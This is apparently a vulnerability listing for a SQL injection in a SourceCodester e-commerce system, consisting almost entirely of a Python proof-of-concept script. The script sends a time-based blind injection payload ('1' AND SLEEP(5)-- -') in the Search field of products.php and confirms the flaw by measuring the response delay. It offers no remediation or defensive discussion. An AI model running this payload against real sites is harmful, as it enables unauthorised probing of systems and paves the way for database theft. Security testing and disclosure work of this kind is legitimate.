CVE-2026-4613 SourceCodester电商系统SQL注入漏洞

import requests # Target URL, replace with actual host target_url = "http://target-ip/products.php" # Payload for time-based blind SQL injection # Checking if the database response time delays payload = { "Search": "1' AND SLEEP(5)-- -" } try: print("[+] Sending payload to target...") response = requests.post(target_url, data=payload, timeout=10) # Check if the request took longer than expected due to SLEEP(5) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") else: print("[-] Target may not be vulnerable or payload incorrect.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")